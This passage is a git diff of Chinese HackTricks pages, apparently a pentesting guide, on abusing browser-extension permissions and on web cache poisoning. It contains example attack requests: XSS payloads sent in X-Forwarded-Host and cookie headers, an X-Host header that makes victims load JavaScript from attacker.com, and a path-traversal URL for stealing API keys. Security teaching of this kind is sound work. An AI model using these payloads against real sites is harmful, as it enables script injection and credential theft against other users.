-可选但功能强大的设置**`host_permissions`**指示扩展将能够通过诸如[`cookies`](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/API/cookies)、[`webRequest`](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/API/webRequest)和[`tabs`](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/API/tabs)等API与哪些主机进行交互。 +可选但强大的设置 **`host_permissions`** 指示扩展将能够通过 [`cookies`](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/API/cookies)、[`webRequest`](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/API/webRequest) 和 [`tabs`](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/API/tabs) 等 API 与哪些主机进行交互。 -以下`host_permissions`基本上允许每个网络: +以下 `host_permissions` 基本上允许每个网页: ```json "host_permissions": [ "*://*/*" @@ -49,90 +50,92 @@ "" ] ``` -这些是浏览器扩展可以自由访问的主机。这是因为当浏览器扩展调用**`fetch("https://gmail.com/")`**时,它不受CORS限制。 +这些是浏览器扩展可以自由访问的主机。这是因为当浏览器扩展调用 **`fetch("https://gmail.com/")`** 时,它不受 CORS 的限制。 -## 滥用`permissions`和`host_permissions` +## 滥用 `permissions` 和 `host_permissions` -### 标签 +### 标签页 -此外,**`host_permissions`**还解锁“高级”[**标签 API**](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/API/tabs)**功能**。它们允许扩展调用[tabs.query()](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/API/tabs/query),不仅可以获取用户浏览器标签的**列表**,还可以了解加载的**网页(即地址和标题)**。 +此外,**`host_permissions`** 还解锁了“高级” [**tabs API**](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/API/tabs) **功能。** 它们允许扩展调用 [tabs.query()](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/API/tabs/query),不仅可以获取 **用户的浏览器标签页列表**,还可以了解 **加载了哪个网页(即地址和标题)。** {% hint style="danger" %} -不仅如此,像[tabs.onUpdated](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/API/tabs/onUpdated)**这样的监听器也变得更加有用**。每当新页面加载到标签中时,它们将收到通知。 +不仅如此,像 [**tabs.onUpdated**](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/API/tabs/onUpdated) **这样的监听器也变得更加有用。** 每当新页面加载到标签页中时,它们将收到通知。 {% endhint %} ### 运行内容脚本 -内容脚本不一定静态地写入扩展清单中。在具有足够的**`host_permissions`**的情况下,扩展还可以通过调用[tabs.executeScript()](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/API/tabs/executeScript)**或**[scripting.executeScript()](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/API/scripting/executeScript)**动态加载它们。** +内容脚本不一定是静态写入扩展清单中的。只要有足够的 **`host_permissions`**,**扩展也可以通过调用** [**tabs.executeScript()**](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/API/tabs/executeScript) **或** [**scripting.executeScript()**](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/API/scripting/executeScript) **动态加载它们。** -这两个 API 允许执行不仅包含在扩展中的文件作为内容脚本,还允许执行**任意代码**。前者允许将 JavaScript 代码作为字符串传递,而后者期望一个 JavaScript 函数,这样更不容易受到注入漏洞的影响。然而,如果被滥用,这两个 API 都会造成严重破坏。 +这两个 API 允许执行不仅仅是包含在扩展中的文件作为内容脚本,还可以执行 **任意代码**。前者允许将 JavaScript 代码作为字符串传入,而后者期望一个 JavaScript 函数,这样更不容易受到注入漏洞的影响。不过,如果滥用,这两个 API 都会造成严重后果。 {% hint style="danger" %} -除了上述功能,内容脚本还可以例如拦截**凭据**,因为这些凭据是输入到网页中的。滥用它们的另一个经典方式是在每个网站上**注入广告**。添加**欺诈信息**以滥用新闻网站的信誉也是可能的。最后,它们可以**操纵**银行网站以重新路由资金转账。 +除了上述功能,内容脚本还可以例如 **拦截凭据**,当这些凭据输入到网页时。滥用它们的另一种经典方式是在每个网站上 **注入广告**。添加 **诈骗信息** 以滥用新闻网站的可信度也是可能的。最后,它们可以 **操纵银行** 网站以重新路由资金转移。 {% endhint %} ### 隐式权限 -一些扩展权限**无需明确声明**。一个例子是[tabs API](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/API/tabs):它的基本功能可以在没有任何权限的情况下访问。任何扩展都可以在您打开和关闭标签时收到通知,只是它不会知道这些标签对应的是哪个网站。 +某些扩展权限 **不必明确声明**。一个例子是 [tabs API](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/API/tabs):其基本功能在没有任何权限的情况下也可以访问。任何扩展都可以在您打开和关闭标签页时收到通知,只是它不会知道这些标签页对应哪个网站。 -听起来太无害了吗?[tabs.create() API](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/API/tabs/create)则稍微不同。它可用于**创建一个新标签**,基本上与[window.open()](https://developer.mozilla.org/en-US/docs/Web/API/Window/open)相同,任何网站都可以调用它。然而,`window.open()`受到**弹出窗口拦截器的限制,而`tabs.create()`则没有**。 +听起来太无害了?[tabs.create() API](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/API/tabs/create) 就不那么无害了。它可以用来 **创建一个新标签页**,本质上与任何网站都可以调用的 [window.open()](https://developer.mozilla.org/en-US/docs/Web/API/Window/open) 相同。然而,虽然 `window.open()` 受 **弹出窗口拦截器** 的限制,但 `tabs.create()` 不受此限制。 {% hint style="danger" %} -扩展可以随时创建任意数量的标签。 +扩展可以在任何时候创建任意数量的标签页。 {% endhint %} -如果您查看可能的`tabs.create()`参数,您还会注意到它的功能远远超出了`window.open()`被允许控制的范围。而且,虽然 Firefox 不允许使用`data:` URI 与此 API 一起使用,但 Chrome 没有这种保护。**在顶级使用这些 URI 已经**[**因被用于钓鱼而被禁止**](https://bugzilla.mozilla.org/show_bug.cgi?id=1331351)**。** +如果您查看可能的 `tabs.create()` 参数,您还会注意到它的功能远远超出了 `window.open()` 被允许控制的范围。虽然 Firefox 不允许在此 API 中使用 `data:` URI,但 Chrome 没有这样的保护。**在顶层使用此类 URI 已被** [**禁止,因为它们被滥用于网络钓鱼**](https://bugzilla.mozilla.org/show\_bug.cgi?id=1331351)**。** -[**tabs.update()**](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/API/tabs/update)与`tabs.create()`非常相似,但会**修改现有标签**。因此,恶意扩展可以任意地将广告页面加载到您的标签中,并且还可以激活相应的标签。 +[**tabs.update()**](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/API/tabs/update) 与 `tabs.create()` 非常相似,但会 **修改现有标签页**。因此,恶意扩展可以例如任意加载一个广告页面到您的标签页中,并且它还可以激活相应的标签页。 -### 摄像头、地理位置和其他权限 +### 网络摄像头、地理位置等 -您可能知道网站可以请求特殊权限,例如访问您的摄像头(视频会议工具)或地理位置(地图)。这些功能具有被滥用的潜力,因此用户每次都必须确认他们仍然希望这样做。 +您可能知道,网站可以请求特殊权限,例如访问您的网络摄像头(视频会议工具)或地理位置(地图)。这具有相当大的滥用潜力,因此用户每次都必须确认他们仍然希望这样做。 {% hint style="danger" %} -但浏览器扩展不同。**如果浏览器扩展**[**想要访问您的摄像头或麦克风**](https://developer.mozilla.org/en-US/docs/Web/API/MediaDevices/getUserMedia)**,它只需要请求一次权限** +浏览器扩展则不是这样。**如果浏览器扩展** [**想要访问您的网络摄像头或麦克风**](https://developer.mozilla.org/en-US/docs/Web/API/MediaDevices/getUserMedia)**,它只需请求一次权限** {% endhint %} -通常,扩展会在安装后立即这样做。一旦接受了此提示,**摄像头访问随时都可能发生**,即使用户此时没有与扩展进行交互。是的,用户只有在扩展真正需要摄像头访问时才会接受此提示。但之后,他们必须相信扩展不会秘密记录任何内容。 +通常,扩展会在安装后立即这样做。一旦接受此提示,**随时可以访问网络摄像头**,即使用户此时没有与扩展交互。是的,用户只有在扩展确实需要网络摄像头访问时才会接受此提示。但在那之后,他们必须信任扩展不会秘密录制任何内容。 -有权访问[您的精确地理位置](https://developer.mozilla.org/en-US/docs/Web/API/Geolocation)或[剪贴板内容](https://developer.mozilla.org/en-US/docs/Web/API/Clipboard_API),明确授予权限是不必要的。**扩展只需将`geolocation`或`clipboard`添加到**[**清单的权限条目**](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/manifest.json/permissions)**中**。这些访问权限在安装扩展时隐含授予。因此,具有这些权限的恶意或受损扩展可以创建您的移动轨迹文件或监视您的剪贴板以复制密码,而您却察觉不到。 +访问 [您确切的地理位置](https://developer.mozilla.org/en-US/docs/Web/API/Geolocation) 或 [剪贴板内容](https://developer.mozilla.org/en-US/docs/Web/API/Clipboard\_API) 时,显式授予权限根本不是必要的。**扩展只需将 `geolocation` 或 `clipboard` 添加到其** [**清单的权限条目**](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/manifest.json/permissions) **中。** 这些访问权限在扩展安装时隐式授予。因此,具有这些权限的恶意或被攻陷的扩展可以在您未注意到的情况下创建您的移动档案或监控您剪贴板中的复制密码。 -将**`history`**关键字添加到扩展清单的[权限条目](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/manifest.json/permissions)中授予对[**历史 API**](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/API/history)的**访问权限**。它允许一次性检索用户的整个浏览历史记录,而无需等待用户再次访问这些网站。 +将 **`history`** 关键字添加到扩展清单的 [permissions entry](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/manifest.json/permissions) 中授予 **访问** [**history API**](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/API/history)。它允许一次性检索用户的整个浏览历史,而无需等待用户再次访问这些网站。 -**`bookmarks`** **权限**具有类似的滥用潜力,它允许通过[**书签 API**](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/API/bookmarks)**读取所有书签**。 +**`bookmarks`** **权限** 具有类似的滥用潜力,它允许 **通过** [**bookmarks API**](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/API/bookmarks) **读取所有书签。** ### 存储权限 -扩展存储仅是一个键值集合,与任何网站都可以使用的[localStorage](https://developer.mozilla.org/en-US/docs/Web/API/Window/localStorage)非常相似。因此,不应在此处存储敏感信息。 +扩展存储仅仅是一个键值集合,非常类似于任何网站都可以使用的 [localStorage](https://developer.mozilla.org/en-US/docs/Web/API/Window/localStorage)。因此,不应在此处存储敏感信息。 -然而,广告公司也可以滥用此存储。 +然而,广告公司也可能滥用此存储。 ### 更多权限 -您可以在此处找到[**Chromium 浏览器扩展可以请求的完整权限列表**](https://developer.chrome.com/docs/extensions/develop/concepts/declare-permissions#permissions),以及[**Firefox 扩展的完整列表**](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/manifest.json/permissions#api\_permissions)**。** +您可以在这里找到 [**Chromium 浏览器扩展可以请求的完整权限列表**](https://developer.chrome.com/docs/extensions/develop/concepts/declare-permissions#permissions) 和 [**Firefox 扩展的完整列表**](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/manifest.json/permissions#api\_permissions)**。** ## 预防 -Google 的开发者政策明确禁止扩展请求比其功能所需更多的权限,有效地减少了过度权限请求的可能性。一个扩展超越这一界限的例子涉及将其与浏览器本身一起分发,而不是通过附加组件商店。 +谷歌开发者的政策明确禁止扩展请求超出其功能所需的权限,从而有效减轻过度权限请求的情况。一个浏览器扩展超越这一界限的例子是它与浏览器本身一起分发,而不是通过附加组件商店。 -浏览器可以进一步限制扩展权限的滥用。例如,Chrome 的[tabCapture](https://developer.chrome.com/docs/extensions/reference/tabCapture/)和[desktopCapture](https://developer.chrome.com/docs/extensions/reference/desktopCapture/) API,用于屏幕录制,旨在最小化滥用。tabCapture API 只能通过直接用户交互(例如单击扩展图标)激活,而 desktopCapture 需要用户确认才能录制窗口,防止秘密录制活动。 +浏览器还可以进一步遏制扩展权限的滥用。例如,Chrome 的 [tabCapture](https://developer.chrome.com/docs/extensions/reference/tabCapture/) 和 [desktopCapture](https://developer.chrome.com/docs/extensions/reference/desktopCapture/) API,用于屏幕录制,旨在最小化滥用。tabCapture API 只能通过直接用户交互(例如点击扩展图标)激活,而 desktopCapture 需要用户确认要录制的窗口,从而防止秘密录制活动。 -然而,加强安全措施通常会导致扩展的灵活性和用户友好性降低。[activeTab 权限](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/manifest.json/permissions#activetab\_permission)说明了这种权衡。它旨在消除扩展需要跨整个互联网请求主机权限的必要性,允许扩展仅在用户明确激活时访问当前标签。这种模式对于需要用户发起操作的扩展非常有效,但对于需要自动或预防性操作的扩展来说效果不佳,从而损害了便利性和即时响应性。 -## **参考资料** +然而,收紧安全措施往往会导致扩展的灵活性和用户友好性降低。[activeTab permission](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/manifest.json/permissions#activetab\_permission) 就说明了这种权衡。它的引入消除了扩展请求整个互联网的主机权限的需要,允许扩展在用户明确激活时仅访问当前标签页。该模型对于需要用户主动操作的扩展有效,但对于需要自动或预先操作的扩展则显得不足,从而妨碍了便利性和即时响应。 + +## **参考文献** * [https://palant.info/2022/08/17/impact-of-extension-privileges/](https://palant.info/2022/08/17/impact-of-extension-privileges/) * [https://www.cobalt.io/blog/introduction-to-chrome-browser-extension-security-testing](https://www.cobalt.io/blog/introduction-to-chrome-browser-extension-security-testing) +{% hint style="success" %} +学习和实践 AWS 黑客技术:[**HackTricks 培训 AWS 红队专家 (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ +学习和实践 GCP 黑客技术: [**HackTricks 培训 GCP 红队专家 (GRTE)**](https://training.hacktricks.xyz/courses/grte) +
-从零开始学习 AWS 黑客技术,成为专家 htARTE(HackTricks AWS 红队专家) +支持 HackTricks -支持 HackTricks 的其他方式: - -* 如果您想看到您的**公司在 HackTricks 中做广告**或**下载 HackTricks 的 PDF**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)! -* 获取[**官方 PEASS & HackTricks 商品**](https://peass.creator-spring.com) -* 探索[**PEASS 家族**](https://opensea.io/collection/the-peass-family),我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family) -* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**电报群组**](https://t.me/peass) 或在 **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)** 上关注我们**。 -* 通过向 [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 仓库提交 PR 来分享您的黑客技巧。 +* 查看 [**订阅计划**](https://github.com/sponsors/carlospolop)! +* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**电报群组**](https://t.me/peass) 或 **在 Twitter 上关注** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** +* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 仓库提交 PR 来分享黑客技巧。
+{% endhint %} diff --git a/pentesting-web/cache-deception/README.md b/pentesting-web/cache-deception/README.md index 9f93393df..b8f5fe74d 100644 --- a/pentesting-web/cache-deception/README.md +++ b/pentesting-web/cache-deception/README.md @@ -1,51 +1,52 @@ -# 缓存毒化和缓存欺骗 +# Cache Poisoning and Cache Deception + +{% hint style="success" %} +学习与实践 AWS 黑客技术:[**HackTricks 培训 AWS 红队专家 (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ +学习与实践 GCP 黑客技术:[**HackTricks 培训 GCP 红队专家 (GRTE)**](https://training.hacktricks.xyz/courses/grte)
-从零开始学习AWS黑客技术,成为专家 htARTE(HackTricks AWS Red Team Expert) +支持 HackTricks -支持HackTricks的其他方式: - -* 如果您想看到您的**公司在HackTricks中做广告**或**下载PDF格式的HackTricks**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)! -* 获取[**官方PEASS & HackTricks周边产品**](https://peass.creator-spring.com) -* 探索[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们的独家[NFTs收藏](https://opensea.io/collection/the-peass-family) -* **加入** 💬 [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或在**Twitter**上关注我们 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**。** -* 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。 +* 查看 [**订阅计划**](https://github.com/sponsors/carlospolop)! +* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**Telegram 群组**](https://t.me/peass) 或 **在** **Twitter** 🐦 **上关注我们** [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** +* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub 仓库提交 PR 分享黑客技巧。
+{% endhint %}
\ -使用[**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_term=trickest&utm_content=cache-deception)可以轻松构建和**自动化工作流程**,使用世界上**最先进**的社区工具。\ -立即获取访问权限: +使用 [**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_term=trickest&utm_content=cache-deception) 轻松构建和 **自动化工作流**,由世界上 **最先进** 的社区工具提供支持。\ +今天就获取访问权限: {% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=cache-deception" %} -## 区别 +## The difference -> **Web缓存毒化和Web缓存欺骗有什么区别?** +> **Web 缓存中毒和 Web 缓存欺骗之间有什么区别?** > -> * 在**Web缓存毒化**中,攻击者导致应用程序将一些恶意内容存储在缓存中,并且这些内容从缓存中提供给其他应用程序用户。 -> * 在**Web缓存欺骗**中,攻击者导致应用程序将属于另一个用户的一些敏感内容存储在缓存中,然后攻击者从缓存中检索这些内容。 +> * 在 **Web 缓存中毒**中,攻击者使应用程序在缓存中存储一些恶意内容,并且这些内容从缓存中提供给其他应用程序用户。 +> * 在 **Web 缓存欺骗**中,攻击者使应用程序在缓存中存储属于另一个用户的一些敏感内容,然后攻击者从缓存中检索这些内容。 -## 缓存毒化 +## Cache Poisoning -缓存毒化旨在操纵客户端缓存,以强制客户端加载意外的、部分的或受攻击者控制的资源。受影响页面的受欢迎程度决定了影响的程度,因为受污染的响应仅提供给在缓存污染期间访问页面的用户。 +缓存中毒旨在操纵客户端缓存,以强制客户端加载意外、部分或由攻击者控制的资源。影响的程度取决于受影响页面的受欢迎程度,因为被污染的响应仅在缓存污染期间提供给访问该页面的用户。 -执行缓存毒化攻击涉及几个步骤: +执行缓存中毒攻击涉及几个步骤: -1. **识别无键输入**:这些是虽然不是请求缓存所必需的参数,但可以改变服务器返回的响应。识别这些输入至关重要,因为它们可以被利用来操纵缓存。 -2. **利用无键输入**:在识别无键输入后,下一步涉及弄清如何滥用这些参数,以使服务器的响应以有利于攻击者的方式进行修改。 -3. **确保毒化响应被缓存**:最后一步是确保操纵的响应被存储在缓存中。这样,任何在缓存被毒化时访问受影响页面的用户都将收到受污染的响应。 +1. **识别无键输入**:这些是参数,尽管不是缓存请求所必需的,但可以改变服务器返回的响应。识别这些输入至关重要,因为它们可以被利用来操纵缓存。 +2. **利用无键输入**:在识别无键输入后,下一步是弄清楚如何滥用这些参数,以修改服务器的响应,从而使攻击者受益。 +3. **确保被污染的响应被缓存**:最后一步是确保被操纵的响应被存储在缓存中。这样,任何在缓存被污染时访问受影响页面的用户将收到被污染的响应。 -### 发现:检查HTTP头 +### Discovery: Check HTTP headers -通常,当响应被**存储在缓存中**时,会有一个**指示的头部**,您可以在这篇文章中查看应该注意的头部:[**HTTP缓存头部**](../../network-services-pentesting/pentesting-web/special-http-headers.md#cache-headers)。 +通常,当响应被 **存储在缓存中** 时,会有一个 **指示的头部**,您可以在此帖子中检查您应该关注哪些头部:[**HTTP 缓存头部**](../../network-services-pentesting/pentesting-web/special-http-headers.md#cache-headers)。 -### 发现:缓存错误代码 +### Discovery: Caching error codes -如果您认为响应被存储在缓存中,可以尝试**发送带有错误头部的请求**,应该会收到**状态码400**的响应。然后尝试正常访问请求,如果**响应是400状态码**,则表示存在漏洞(甚至可以执行DoS攻击)。 +如果您认为响应正在被存储在缓存中,您可以尝试 **发送带有错误头部的请求**,这应该会以 **状态码 400** 响应。然后尝试正常访问请求,如果 **响应是 400 状态码**,您就知道它是脆弱的(您甚至可以执行 DoS)。 您可以在以下位置找到更多选项: @@ -53,34 +54,34 @@ [cache-poisoning-to-dos.md](cache-poisoning-to-dos.md) {% endcontent-ref %} -但请注意,**有时这些类型的状态码不会被缓存**,因此此测试可能不可靠。 +但是,请注意 **有时这些状态码不会被缓存**,因此此测试可能不可靠。 -### 发现:识别和评估无键输入 +### Discovery: Identify and evaluate unkeyed inputs -您可以使用[**Param Miner**](https://portswigger.net/bappstore/17d2949a985c4b7ca092728dba871943)来**暴力破解可能会改变页面响应的参数和头部**。例如,页面可能正在使用`X-Forwarded-For`头部指示客户端从那里加载脚本: +您可以使用 [**Param Miner**](https://portswigger.net/bappstore/17d2949a985c4b7ca092728dba871943) 来 **暴力破解可能 **改变页面响应** 的参数和头部。例如,一个页面可能使用头部 `X-Forwarded-For` 来指示客户端从那里加载脚本: ```markup ``` ### 引发后端服务器的有害响应 -通过识别的参数/标头,检查它是如何被**清理**以及它是如何**反映**或影响来自标头的响应的。您可以以任何方式滥用它(执行 XSS 或加载由您控制的 JS 代码?执行 DoS?...) +识别参数/头部后,检查它是如何被**清洗**的,以及**在哪里**被**反映**或影响头部的响应。你能以任何方式滥用它吗(执行XSS或加载你控制的JS代码?执行DoS?...) ### 获取响应缓存 -一旦您**确定**了可以滥用的**页面**,要使用的**参数**/**标头**以及如何**滥用**它,您需要将页面缓存。根据您尝试缓存的资源,这可能需要一些时间,您可能需要尝试几秒钟。\ -响应中的标头**`X-Cache`**可能非常有用,因为当请求未被缓存时,它可能具有值**`miss`**,而当它被缓存时,它可能具有值**`hit`**。\ -标头**`Cache-Control`**也很有趣,可以知道资源是否被缓存,下次资源将再次被缓存的时间是什么时候:`Cache-Control: public, max-age=1800`\ -另一个有趣的标头是**`Vary`**。此标头通常用于**指示其他标头**,即使它们通常是无键的,也被视为**缓存键**的一部分。因此,如果用户知道受害者的 `User-Agent`,他可以为使用该特定 `User-Agent` 的用户毒害缓存。\ -与缓存相关的另一个标头是**`Age`**。它定义了对象在代理缓存中存在的秒数。 +一旦你**识别**了可以被滥用的**页面**,使用哪个**参数**/**头部**以及**如何**滥用它,你需要让页面被缓存。根据你尝试缓存的资源,这可能需要一些时间,你可能需要尝试几秒钟。\ +响应中的头部**`X-Cache`**可能非常有用,因为当请求未被缓存时,它的值可能是**`miss`**,而当被缓存时,它的值是**`hit`**。\ +头部**`Cache-Control`**也很有趣,可以知道资源是否被缓存,以及下次资源将何时再次被缓存:`Cache-Control: public, max-age=1800`\ +另一个有趣的头部是**`Vary`**。这个头部通常用于**指示额外的头部**,这些头部被视为**缓存键的一部分**,即使它们通常没有键。因此,如果用户知道他所针对的受害者的`User-Agent`,他可以为使用该特定`User-Agent`的用户毒化缓存。\ +与缓存相关的另一个头部是**`Age`**。它定义了对象在代理缓存中存在的时间(以秒为单位)。 -在缓存请求时,要**小心使用标头**,因为其中一些可能会**意外使用**为**键**,受害者将需要使用相同的标头。始终使用**不同的浏览器**测试缓存投毒以检查是否有效。 +在缓存请求时,要**小心使用的头部**,因为其中一些可能会被**意外使用**为**键**,而**受害者需要使用相同的头部**。始终使用**不同的浏览器**测试缓存中毒,以检查其是否有效。 ## 利用示例 ### 最简单的示例 -像 `X-Forwarded-For` 这样的标头在响应中未经清理地反映出来。\ -您可以发送基本的 XSS 负载并毒害缓存,因此每个访问该页面的人都将受到 XSS 攻击: +像`X-Forwarded-For`这样的头部在响应中未经过清洗地被反映。\ +你可以发送一个基本的XSS有效负载并毒化缓存,这样每个访问该页面的人都会受到XSS攻击: ```markup GET /en?region=uk HTTP/1.1 Host: innocent-website.com @@ -88,36 +89,38 @@ X-Forwarded-Host: a.">" ``` _Note that this will poison a request to `/en?region=uk` not to `/en`_ -### 缓存投毒导致拒绝服务攻击 +### Cache poisoning to DoS {% content-ref url="cache-poisoning-to-dos.md" %} [cache-poisoning-to-dos.md](cache-poisoning-to-dos.md) {% endcontent-ref %} -### 利用网络缓存投毒来利用cookie处理漏洞 +### 使用网络缓存中毒来利用 cookie 处理漏洞 -Cookie也可能反映在页面的响应中。如果您可以滥用它来引发跨站脚本攻击,您可能能够利用恶意缓存响应中加载的多个客户端中的跨站脚本攻击。 +Cookies 也可能在页面的响应中被反射。如果你能利用它造成 XSS,例如,你可能能够在加载恶意缓存响应的多个客户端中利用 XSS。 ```markup GET / HTTP/1.1 Host: vulnerable.com Cookie: session=VftzO7ZtiBj5zNLRAuFpXpSQLjS4lBmU; fehost=asd"%2balert(1)%2b" ``` -### 利用路径遍历进行缓存污染以窃取 API 密钥 +注意,如果易受攻击的 cookie 被用户频繁使用,常规请求将清除缓存。 -[**这篇文章解释了**](https://nokline.github.io/bugbounty/2024/02/04/ChatGPT-ATO.html) 如何通过类似 `https://chat.openai.com/share/%2F..%2Fapi/auth/session?cachebuster=123` 的 URL 来窃取 OpenAI API 密钥,因为任何匹配 `/share/*` 的内容都会被缓存,而 Cloudflare 在请求到达 Web 服务器时并未对 URL 进行规范化。 +### 利用路径遍历进行缓存中毒以窃取 API 密钥 -### 利用多个标头来利用 Web 缓存污染漏洞 +[**这篇文章解释了**](https://nokline.github.io/bugbounty/2024/02/04/ChatGPT-ATO.html) 如何通过一个像 `https://chat.openai.com/share/%2F..%2Fapi/auth/session?cachebuster=123` 的 URL 窃取 OpenAI API 密钥,因为任何匹配 `/share/*` 的内容都会被缓存,而 Cloudflare 不会对 URL 进行规范化,这在请求到达 web 服务器时完成。 -有时,您需要**利用多个未加密的输入**来滥用缓存。例如,如果您将 `X-Forwarded-Host` 设置为您控制的域,并将 `X-Forwarded-Scheme` 设置为 `http`,**如果**服务器将所有**HTTP**请求**转发到 HTTPS**,并使用标头 `X-Forwarded-Scheme` 作为重定向的域名。您可以通过重定向控制页面指向的位置。 +### 利用多个头部来利用 web 缓存中毒漏洞 + +有时你需要 **利用多个未键入的输入** 来滥用缓存。例如,如果你将 `X-Forwarded-Host` 设置为你控制的域名,并将 `X-Forwarded-Scheme` 设置为 `http`,你可能会发现一个 **开放重定向**。**如果** 服务器 **将所有的 HTTP 请求转发到 HTTPS** 并使用头部 `X-Forwarded-Scheme` 作为重定向的域名,你可以控制重定向指向的页面。 ```markup GET /resources/js/tracking.js HTTP/1.1 Host: acc11fe01f16f89c80556c2b0056002e.web-security-academy.net X-Forwarded-Host: ac8e1f8f1fb1f8cb80586c1d01d500d3.web-security-academy.net/ X-Forwarded-Scheme: http ``` -### 利用有限的 `Vary` 头部 +### 利用有限的 `Vary`头 -如果你发现 **`X-Host`** 头部被用作**域名来加载一个JS资源**,但响应中的 **`Vary`** 头部指示了 **`User-Agent`**。那么,你需要找到一种方法来窃取受害者的 User-Agent,并使用该用户代理程序来操纵缓存: +如果你发现 **`X-Host`** 头被用作 **加载 JS 资源的域名**,但响应中的 **`Vary`** 头指示 **`User-Agent`**。那么,你需要找到一种方法来提取受害者的 User-Agent 并使用该用户代理来污染缓存: ```markup GET / HTTP/1.1 Host: vulnerbale.net @@ -126,7 +129,7 @@ X-Host: attacker.com ``` ### Fat Get -使用 URL 和正文中的请求发送 GET 请求。如果 Web 服务器使用正文中的请求,但缓存服务器缓存了来自 URL 的请求,则访问该 URL 的任何人实际上将使用来自正文的参数。就像 James Kettle 在 Github 网站发现的漏洞一样: +发送一个带有请求的GET请求,URL和主体中都有请求。如果web服务器使用主体中的请求,但缓存服务器缓存了URL中的请求,那么任何访问该URL的人实际上将使用主体中的参数。就像James Kettle在Github网站上发现的漏洞: ``` GET /contact/report-abuse?report=albinowax HTTP/1.1 Host: github.com @@ -135,99 +138,102 @@ Content-Length: 22 report=innocent-victim ``` +There it a portswigger lab about this: [https://portswigger.net/web-security/web-cache-poisoning/exploiting-implementation-flaws/lab-web-cache-poisoning-fat-get](https://portswigger.net/web-security/web-cache-poisoning/exploiting-implementation-flaws/lab-web-cache-poisoning-fat-get) + ### 参数伪装 -例如,在 Ruby 服务器中,可以使用字符 **`;`** 而不是 **`&`** 来分隔 **参数**。这可以用来将非键参数值放入键参数中并滥用它们。 +例如,在 ruby 服务器中,可以使用字符 **`;`** 来分隔 **参数**,而不是 **`&`**。这可以用来将无键参数值放入有键参数中并加以利用。 -Portswigger 实验室:[https://portswigger.net/web-security/web-cache-poisoning/exploiting-implementation-flaws/lab-web-cache-poisoning-param-cloaking](https://portswigger.net/web-security/web-cache-poisoning/exploiting-implementation-flaws/lab-web-cache-poisoning-param-cloaking) +Portswigger lab: [https://portswigger.net/web-security/web-cache-poisoning/exploiting-implementation-flaws/lab-web-cache-poisoning-param-cloaking](https://portswigger.net/web-security/web-cache-poisoning/exploiting-implementation-flaws/lab-web-cache-poisoning-param-cloaking) -### 利用 HTTP 缓存投毒滥用 HTTP 请求走私 +### 通过滥用 HTTP 请求走私来利用 HTTP 